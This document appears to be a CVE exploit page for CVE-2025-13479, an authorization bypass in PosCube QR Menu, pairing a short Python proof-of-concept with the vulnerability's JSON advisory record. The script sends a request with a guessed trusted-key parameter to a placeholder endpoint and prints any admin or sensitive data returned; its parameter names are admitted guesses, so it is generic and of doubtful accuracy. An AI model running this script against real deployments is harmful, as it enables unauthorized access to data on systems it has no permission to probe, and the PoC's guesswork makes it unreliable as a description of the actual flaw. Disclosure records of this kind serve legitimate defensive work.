CVE-2025-13479

import requests # CVE-2025-13479 PoC: Authorization Bypass via User-Controlled Key # Target: PosCube QR Menu (version <= 21052026) # Description: Exploits the lack of server-side validation on user-controlled keys. def check_vulnerability(target_url): # Attempt to access a protected resource by manipulating the user-controlled key # The specific parameter name may vary based on application implementation headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Example payload modifying a trusted identifier/key # Attackers might brute force or guess a valid key format, or inject a specific bypass value payload = { "user_key": "admin_trusted_id", "id": "1" } try: response = requests.get(target_url, headers=headers, params=payload, timeout=10) if response.status_code == 200: # Check if sensitive data is returned without proper authentication if "sensitive_data" in response.text or "admin" in response.text.lower(): print("[+] Vulnerability confirmed: Authorization bypassed.") print("[+] Response snippet:", response.text[:200]) return True print("[-] Vulnerability not detected or target patched.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": target = "http://target-ip/menu/api/details" # Replace with actual target endpoint check_vulnerability(target)

{"cve": {"id": "CVE-2025-13479", "sourceIdentifier": "[email protected]", "published": "2026-05-21T14:16:43.417", "lastModified": "2026-05-21T15:24:41.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization bypass through User-Controlled key vulnerability in PosCube Hardware Software and Consulting Ltd. QR Menu allows Exploitation of Trusted Identifiers.\n\nThis issue affects QR Menu: through 21052026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0285", "source": "[email protected]"}]}}